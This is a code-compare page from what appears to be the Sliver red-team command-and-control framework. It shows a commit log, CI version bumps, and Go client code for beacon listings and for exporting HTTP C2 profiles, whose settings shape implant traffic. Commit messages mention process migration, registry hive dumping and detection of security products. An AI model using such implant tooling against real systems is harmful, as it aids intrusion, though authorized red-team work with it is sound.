Compare commits

...
Author SHA1 Message Date
Tim Makram Ghatas f0b078bcd1 add export command for c2 profiles 2024-04-02 22:28:47 +02:00
Ronan Kervella 9f4988e12a Merge pull request #1622 from BishopFox/bugfix_merge_issue
re-add deleted commands from bad merge for c2profiles and implant staging
2024-04-02 10:11:07 -07:00
Tim Makram Ghatas 124c12bebd re-add deleted commands from bad merge 2024-04-02 18:06:18 +02:00
Joe 142bf83ffd Merge pull request #1620 from BishopFox/77cedependabot/github_actions/actions/configure-pages-5
Bump actions/configure-pages from 4 to 5
2024-04-01 06:49:08 -07:00
dependabot[bot] b290474e5d Bump actions/configure-pages from 4 to 5
Bumps [actions/configure-pages](https://github.com/actions/configure-pages) from 4 to 5.
- [Release notes](https://github.com/actions/configure-pages/releases)
- [Commits](https://github.com/actions/configure-pages/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/configure-pages
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-01 03:28:25 +00:00
Joe c18fc567a3 Merge pull request #1617 from BishopFox/fix-msf-stager
Fix hang when calling generate stager
2024-03-27 07:36:32 -07:00
rkervella 5bd1f4727c Fix hang when calling generate stager 2024-03-26 15:55:35 -07:00
Joe 619d4994da Merge pull request #1612 from BishopFox/c64bdependabot/go_modules/golang.org/x/crypto-0.21.0
Bump golang.org/x/crypto from 0.17.0 to 0.21.0
2024-03-26 06:55:33 -07:00
dependabot[bot] 1666d6f5ad Bump golang.org/x/crypto from 0.17.0 to 0.21.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.17.0 to 0.21.0.
- [Commits](https://github.com/golang/crypto/compare/v0.17.0...v0.21.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-03-25 03:44:43 +00:00
Joe 6443aaba3d Merge pull request #1597 from BishopFox/48d6dependabot/go_modules/google.golang.org/protobuf-1.33.0
Bump google.golang.org/protobuf from 1.31.0 to 1.33.0
2024-03-19 10:21:19 -07:00
dependabot[bot] e14619fffc Bump google.golang.org/protobuf from 1.31.0 to 1.33.0
Bumps google.golang.org/protobuf from 1.31.0 to 1.33.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-03-19 15:46:19 +00:00
Joe 07ec53e148 Merge pull request #1599 from BishopFox/88cbdependabot/go_modules/github.com/jackc/pgx/v5-5.5.4
Bump github.com/jackc/pgx/v5 from 5.3.1 to 5.5.4
2024-03-19 08:44:52 -07:00
dependabot[bot] 1c9d11f967 Bump github.com/jackc/pgx/v5 from 5.3.1 to 5.5.4
Bumps [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) from 5.3.1 to 5.5.4.
- [Changelog](https://github.com/jackc/pgx/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jackc/pgx/compare/v5.3.1...v5.5.4)

---
updated-dependencies:
- dependency-name: github.com/jackc/pgx/v5
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-03-14 22:01:41 +00:00
Ronan Kervella 85b949a7df Merge pull request #1545 from precurse-bf/ifns
Adding Linux namespace support to ifconfig
2024-03-14 14:57:23 -07:00
Andrew Klaus 2c0d46278a Adding namespace support to Linux ifconfig 2024-03-14 12:01:25 -06:00
Ronan Kervella 74653968df Merge pull request #1596 from precurse-bf/mount_linux_rebase
Adding mount command for Windows and Linux
2024-03-14 09:44:16 -07:00
Andrew Klaus 49b55c7763 Testing fix for Windows implant 2024-03-14 10:07:24 -06:00
Andrew Klaus d625c8c2b7 Updating protobufs 2024-03-13 14:55:04 -06:00
Andrew Klaus 9f33e8103a Adding linux mount command 2024-03-13 14:55:04 -06:00
Raf abd375f501 Adding the mount command and the implementation for Windows implants 2024-03-13 14:24:19 -06:00
moloch-- 715c37addf Remove prelude operator support, since product is discontinued 2024-03-07 16:07:47 -08:00
Joe 754ce39076 Merge pull request #1592 from BishopFox/go/v1.22.1
Go 1.22.1
2024-03-07 16:47:15 -07:00
moloch-- 580f98419d Go 1.22.1 2024-03-07 15:10:30 -08:00
moloch-- c8a7948671 Fix link in docs 2024-02-29 10:14:02 -08:00
moloch-- 9da3112c04 Fix link in docs 2024-02-29 10:12:23 -08:00
Ronan Kervella 12ca498386 Merge pull request #1586 from xl4sh/fix/loopvar
Fix using duplicated envelope id bug
2024-02-29 08:33:38 -08:00
xl4sh 2f9c1857bb Fix using duplicated envelope id bug 2024-02-29 13:43:40 +09:00
Joe ac2ee6dfff Merge pull request #1585 from gatariee/master
Fix typo in `make-token` when no credentials are provided.
2024-02-27 07:54:34 -07:00
gatari bfde6a4dc8 Update make-token.go
Signed-off-by: gatari <[email protected]>
2024-02-27 21:06:50 +08:00
Ronan Kervella dc93d054a9 Merge pull request #1572 from BishopFox/v1.6.0/remove-legacy-DLL-extension-support
Removing support for legacy DLL extensions
2024-02-15 15:41:19 -08:00
Ronan Kervella 173366ba7d Merge branch 'master' into v1.6.0/remove-legacy-DLL-extension-support 2024-02-15 14:17:09 -08:00
Joe 4bfca79860 Merge pull request #1579 from BishopFox/ps_elastic
Add elastic binaries to knownSecurityTools
2024-02-06 17:06:50 -06:00
kmathisbf baa3659f20 Add elastic binaries to knownSecurityTools 2024-02-06 15:36:59 -05:00
Raf 59b2996862 Removing support for legacy DLL extensions 2024-01-30 08:42:34 -05:00
Ronan Kervella d0dc42ea2f Merge pull request #1568 from BishopFox/fix/download
Fix download RPC
2024-01-24 13:51:42 -08:00
rkervella 12d6c13f4e Return error if file doesn't exist 2024-01-23 14:53:08 -08:00
Joe 0a31daf6ef Merge pull request #1515 from BishopFox/eea1dependabot/github_actions/github/codeql-action-3
Bump github/codeql-action from 2 to 3
2024-01-22 11:38:00 -06:00
Joe 34b97418b1 Merge pull request #1517 from BishopFox/deabdependabot/github_actions/actions/configure-pages-4
Bump actions/configure-pages from 3 to 4
2024-01-22 11:37:41 -06:00
Ronan Kervella d9db5752c1 Merge pull request #1559 from BishopFox/windows-dumpkey
Adding the `registry read hive` command
2024-01-17 14:11:12 -08:00
Ronan Kervella 58916d47b9 Merge branch 'master' into windows-dumpkey 2024-01-17 09:57:48 -08:00
Ronan Kervella 49a095de44 Merge pull request #1560 from BishopFox/v1.6.0/fix-procdump
Fix procdump on Windows
2024-01-17 09:56:07 -08:00
Raf c9f5f0b122 registry read hive: removing support for running the command against a remote host due to limitations in the RegSaveKeyW API call 2024-01-17 12:31:03 -05:00
rkervella 942823bb1f Don't use global variable for buffer size 2024-01-17 09:23:58 -08:00
Raf 9cbca40e90 registry read hive: Making sure that the generated file name does not exist prior to the call to RegSaveKeyW 2024-01-17 12:18:01 -05:00
Raf fcbcef0472 Adding the registry read hive command for dumping the contents of a registry hive 2024-01-17 11:04:31 -05:00
Joe 3274631b04 Merge branch 'master' into eea1dependabot/github_actions/github/codeql-action-3 2024-01-16 14:53:18 -06:00
Ronan Kervella 310b844c64 Merge pull request #1557 from BishopFox/windows-services
Adding the `services` command
2024-01-15 11:50:08 -08:00
Raf f50a1ed243 services: Moving strings from implant to client, renaming StartExistingService to StartServiceByName, removing unnecessary test 2024-01-15 13:30:57 -05:00
Raf 8ff7d4ec04 Merge branch 'master' into windows-services 2024-01-15 11:32:40 -05:00
Raf 0bfa34357e Adding help for services command 2024-01-15 11:08:46 -05:00
Raf ad1ee0a52d Adding the services command for getting information about and controlling services on Windows 2024-01-15 10:48:59 -05:00
Joe d9705a3cbe Merge pull request #1551 from BishopFox/v1.6.0/daemon-tailscale-flag
Add support for tailscale to daemon mode
2024-01-11 12:28:08 -06:00
rkervella 3c91f8eb52 Setup default C2 profiles in daemon mode. 2024-01-11 09:11:10 -08:00
rkervella 9d36920115 Add tailscale option to config file and fix missing argument to daemon.Start() 2024-01-10 14:51:40 -08:00
rkervella 8731006619 Remove empty line 2024-01-10 14:47:31 -08:00
rkervella 19cac4a08a Add support for tailscale to daemon mode 2024-01-10 14:45:12 -08:00
Ronan Kervella a9679e56d3 Merge pull request #1550 from BishopFox/v1.6.0/external-builders-multiservers
Don't exit on connection error.
2024-01-10 12:41:59 -08:00
rkervella 8e833d3510 Don't exit on connection error. 2024-01-10 10:50:30 -08:00
Ronan Kervella f227fedd46 Merge pull request #1549 from BishopFox/v1.6.0/external-builders-multiservers
Support multi-builders (1:n)
2024-01-09 16:43:50 -08:00
Ronan Kervella 804cf1b3fa Merge branch 'master' into v1.6.0/external-builders-multiservers 2024-01-09 16:04:41 -08:00
Ronan Kervella 7e23f93ba7 Merge pull request #1475 from BishopFox/8a21dependabot/go_modules/github.com/chromedp/chromedp-0.9.3
Bump github.com/chromedp/chromedp from 0.9.1 to 0.9.3
2024-01-09 16:04:28 -08:00
Ronan Kervella 1a79fb0176 Merge branch 'master' into v1.6.0/external-builders-multiservers 2024-01-09 15:05:18 -08:00
Ronan Kervella 7d9ced0d58 Merge branch 'master' into 8a21dependabot/go_modules/github.com/chromedp/chromedp-0.9.3 2024-01-09 14:17:26 -08:00
rkervella a0ea8eca27 Add support for multiple builders with reload from SIGHUP. 2024-01-09 14:11:44 -08:00
Ronan Kervella 61193c51c5 Merge pull request #1548 from BishopFox/client-command-fixes
Small Client Command Fixes
2024-01-09 10:19:55 -08:00
Raf 849f6fb683 Rewiring the grep, head, and tail commands; fixing timeout for procdump command 2024-01-09 12:24:59 -05:00
Ronan Kervella 24bb07e981 Merge branch 'master' into eea1dependabot/github_actions/github/codeql-action-3 2024-01-08 16:11:48 -08:00
Joe ad3b55fc0d Merge pull request #1544 from audibleblink/fix/migrate-cli
address regression; previously fixed in dd2af38
2024-01-08 12:58:49 -06:00
Ronan Kervella e5bc13e9ed Merge branch 'master' into 8a21dependabot/go_modules/github.com/chromedp/chromedp-0.9.3 2024-01-05 13:50:42 -08:00
Ronan Kervella 2fbd8e059a Merge branch 'master' into fix/migrate-cli 2024-01-05 13:08:47 -08:00
Ronan Kervella b20c5374b7 Merge pull request #1543 from BishopFox/windows-service-migrate
Fix migration issues with Windows service builds
2024-01-05 13:08:32 -08:00
rkervella 05ea6ce233 Initial support for multi-server builders 2024-01-05 13:01:00 -08:00
Alex Flores 72a37aa07a address regression; previously fixed in dd2af38 2024-01-05 14:30:58 -05:00
Ronan Kervella ae6028b7f6 Merge branch 'master' into eea1dependabot/github_actions/github/codeql-action-3 2024-01-05 11:09:46 -08:00
Ronan Kervella 13b2b5bc96 Merge branch 'master' into windows-service-migrate 2024-01-05 11:04:32 -08:00
Ronan Kervella 49bd90bc96 Merge pull request #1538 from BishopFox/more-session-data
Display More Process Information (`sessions` and `beacons` commands)
2024-01-05 11:04:06 -08:00
Raf 2d463f7b39 Merge branch 'master' into more-session-data 2024-01-05 12:43:43 -05:00
Raf 24b0301000 Fixing reference to SliverConsoleClient 2024-01-05 12:43:23 -05:00
Raf 70c65ca13b Merge branch 'master' into more-session-data 2024-01-05 12:41:25 -05:00
Raf 80b4a29ce5 Merge branch 'master' into windows-service-migrate 2024-01-05 11:10:42 -05:00
Joe 239c32e9c0 Merge pull request #1518 from BishopFox/c0b0dependabot/github_actions/actions/checkout-4
Bump actions/checkout from 3 to 4
2024-01-05 10:00:32 -06:00
Joe 78b0a46654 Merge pull request #1534 from BishopFox/c027dependabot/github_actions/actions/upload-artifact-4
Bump actions/upload-artifact from 3 to 4
2024-01-05 09:54:23 -06:00
Joe 6597361075 Merge pull request #1533 from BishopFox/f9e9dependabot/github_actions/actions/download-artifact-4
Bump actions/download-artifact from 3 to 4
2024-01-05 09:54:08 -06:00
Raf ad544ef4fa Fix migration issues with Windows service builds 2024-01-05 10:30:27 -05:00
Ronan Kervella ceb8b2f513 Merge pull request #1540 from BishopFox/v1.6.0/operator-creds-stdout
Add option to output credentials to stdout
2024-01-04 19:54:31 -08:00
Ronan Kervella b4bb80caab Merge branch 'master' into v1.6.0/operator-creds-stdout 2024-01-04 16:19:56 -08:00
Ronan Kervella c6cfb2dee9 Merge pull request #1541 from audibleblink/msf/exe-service
enables generation of exe-service stagers
2024-01-04 16:19:44 -08:00
Alex Flores 2792dd026e enables generation of exe-service stagers 2024-01-04 16:48:58 -05:00
Raf 43567441cc In the unfiltered view of sessions and beacons, do not show the integrity column if there are no Windows beacons or sessions 2024-01-04 13:56:16 -05:00
rkervella 3d2751bb2b Add option to output credentials to stdout 2024-01-04 10:55:10 -08:00
Ronan Kervella bdd8390913 Merge pull request #1537 from BishopFox/v1.6.0/cli-changes
Fix CLI changes
2024-01-04 10:46:30 -08:00
Raf b9403085c6 Adding process information (PID, name, integrity) to long form session and beacon displays 2024-01-03 11:57:28 -05:00
dependabot[bot] 5039be3db8 Bump actions/upload-artifact from 3 to 4
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-01-01 03:06:53 +00:00
dependabot[bot] b64dd14f2f Bump actions/download-artifact from 3 to 4
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 3 to 4.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-01-01 03:06:51 +00:00
Joe 538912c89d Merge branch 'master' into deabdependabot/github_actions/actions/configure-pages-4 2023-12-24 09:40:09 -06:00
Ronan Kervella 456ca26817 Merge branch 'master' into 8a21dependabot/go_modules/github.com/chromedp/chromedp-0.9.3 2023-12-18 16:03:40 -08:00
Ronan Kervella 0bf4dd4313 Merge branch 'master' into eea1dependabot/github_actions/github/codeql-action-3 2023-12-18 16:02:28 -08:00
Ronan Kervella f18e383e33 Merge branch 'master' into deabdependabot/github_actions/actions/configure-pages-4 2023-12-18 16:02:23 -08:00
Ronan Kervella 5f34e9672b Merge branch 'master' into c0b0dependabot/github_actions/actions/checkout-4 2023-12-18 16:02:16 -08:00
dependabot[bot] 9f2ab9ba1b Bump actions/checkout from 3 to 4
Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-18 03:05:22 +00:00
dependabot[bot] d984d3a5f9 Bump actions/configure-pages from 3 to 4
Bumps [actions/configure-pages](https://github.com/actions/configure-pages) from 3 to 4.
- [Release notes](https://github.com/actions/configure-pages/releases)
- [Commits](https://github.com/actions/configure-pages/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/configure-pages
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-18 03:05:18 +00:00
dependabot[bot] 35b7b034ce Bump github/codeql-action from 2 to 3
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 2 to 3.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/v2...v3)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-18 03:05:10 +00:00
dependabot[bot] b5262b0c3a Bump github.com/chromedp/chromedp from 0.9.1 to 0.9.3
Bumps [github.com/chromedp/chromedp](https://github.com/chromedp/chromedp) from 0.9.1 to 0.9.3.
- [Release notes](https://github.com/chromedp/chromedp/releases)
- [Commits](https://github.com/chromedp/chromedp/compare/v0.9.1...v0.9.3)

---
updated-dependencies:
- dependency-name: github.com/chromedp/chromedp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-14 20:03:18 +00:00
519 changed files with 30559 additions and 13457 deletions

No files matched your search

+5 -5
View File
@@ -31,7 +31,7 @@ jobs:
run: make servers
- name: Server Artifacts
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: servers
path: ./sliver-server_*
@@ -42,10 +42,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Check Out Code
uses: actions/checkout@v4
@@ -57,7 +57,7 @@ jobs:
run: make clients
- name: Client Artifacts
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: clients
path: ./sliver-client_*
@@ -72,7 +72,7 @@ jobs:
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
- uses: actions/download-artifact@v4
with:
path: ./builds
+4 -4
View File
@@ -16,10 +16,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Checkout repository
uses: actions/checkout@v4
@@ -39,7 +39,7 @@ jobs:
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v3
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -48,6 +48,6 @@ jobs:
run: make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v3
env:
VERSION: ${{github.sha}}
+2 -2
View File
@@ -35,7 +35,7 @@ jobs:
steps:
- name: Checkout
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Detect package manager
id: detect-package-manager
@@ -63,7 +63,7 @@ jobs:
node-version: "lts/*"
- name: Setup Pages
uses: actions/configure-pages@v3
uses: actions/configure-pages@v5
- name: Restore cache
uses: actions/cache@v3
+6 -6
View File
@@ -23,10 +23,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: OS Packages
run: |
@@ -57,10 +57,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Mingw
run: brew install mingw-w64
@@ -88,10 +88,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Check Out Code
uses: actions/checkout@v4
+1 -1
View File
@@ -9,7 +9,7 @@
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
FROM --platform=linux/amd64 golang:1.22.1 as base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
+50 -14
View File
@@ -112,20 +112,45 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
windowsBeaconInList := false
for _, beacon := range beacons {
if beacon.OS == "windows" {
windowsBeaconInList = true
}
}
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
if windowsBeaconInList {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Process (PID)",
"Integrity",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Process (PID)",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
}
} else {
tw.AppendHeader(table.Row{
"ID",
@@ -145,6 +170,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
if beacon.Integrity == "" {
beacon.Integrity = "-"
}
// We need a slice of strings so we can apply filters
var rowEntries []string
@@ -158,11 +186,19 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
}
if windowsBeaconInList {
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
}
rowEntries = append(rowEntries, []string{
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}...)
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
+163
View File
@@ -123,6 +123,169 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
}
}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
jsonProfile, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(filepath, jsonProfile, 0644)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println(profileName, "C2 profile exported to ", filepath)
}
// convert protobuf to json
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
implantConfig := assets.HTTPC2ImplantConfig{
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
MaxFiles: int(profile.ImplantConfig.MaxFiles),
MinFiles: int(profile.ImplantConfig.MinFiles),
MaxPaths: int(profile.ImplantConfig.MaxPaths),
MinPaths: int(profile.ImplantConfig.MinFiles),
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
PollFileExt: profile.ImplantConfig.PollFileExtension,
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
}
var headers []assets.NameValueProbability
for _, header := range profile.ImplantConfig.Headers {
headers = append(headers, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
})
}
implantConfig.Headers = headers
var urlParameters []assets.NameValueProbability
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
urlParameters = append(urlParameters, assets.NameValueProbability{
Name: urlParameter.Name,
Value: urlParameter.Value,
Probability: int(urlParameter.Probability),
})
}
implantConfig.URLParameters = urlParameters
var (
stagerFiles []string
pollFiles []string
sessionFiles []string
closeFiles []string
stagerPaths []string
pollPaths []string
sessionPaths []string
closePaths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
switch pathSegment.SegmentType {
case 0:
pollFiles = append(pollFiles, pathSegment.Value)
case 1:
sessionFiles = append(sessionFiles, pathSegment.Value)
case 2:
closeFiles = append(closeFiles, pathSegment.Value)
case 3:
stagerFiles = append(stagerFiles, pathSegment.Value)
}
} else {
switch pathSegment.SegmentType {
case 0:
pollPaths = append(pollPaths, pathSegment.Value)
case 1:
sessionPaths = append(sessionPaths, pathSegment.Value)
case 2:
closePaths = append(closePaths, pathSegment.Value)
case 3:
stagerPaths = append(stagerPaths, pathSegment.Value)
}
}
}
implantConfig.PollFiles = pollFiles
implantConfig.SessionFiles = sessionFiles
implantConfig.CloseFiles = closeFiles
implantConfig.StagerFiles = stagerFiles
implantConfig.PollPaths = pollPaths
implantConfig.SessionPaths = sessionPaths
implantConfig.ClosePaths = closePaths
implantConfig.StagerPaths = stagerPaths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
})
}
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
serverConfig := assets.HTTPC2ServerConfig{
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
config := assets.HTTPC2Config{
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
jsonConfig, err := json.Marshal(config)
if err != nil {
return nil, err
}
return jsonConfig, nil
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
+67
View File
@@ -0,0 +1,67 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
importC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ImportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
Short: "Export HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ExportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
C2ProfileCmd(cmd, con, args)
},
GroupID: consts.NetworkHelpGroup,
}
flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
})
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(importC2ProfileCmd)
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
return []*cobra.Command{
C2ProfileCmd,
}
}
+1 -3
View File
@@ -28,8 +28,6 @@ import (
"github.com/spf13/pflag"
)
const defaultTimeout = 60
// Bind is a convenience function to bind flags to a given command.
// name - The name of the flag set (can be empty).
// cmd - The command to which the flags should be bound.
@@ -111,7 +109,7 @@ func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, c
//
// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
// [ Core ]
// [ Sessions ]
-1
View File
@@ -162,7 +162,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Use: consts.MigrateStr,
Short: "Migrate into a remote process",
Long: help.GetHelpFor([]string{consts.MigrateStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
MigrateCmd(cmd, con, args)
},
+11
View File
@@ -26,6 +26,7 @@ import (
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
@@ -66,6 +67,16 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.SpinUntil(fmt.Sprintf("Migrating into %s...", procName), ctrl)
}
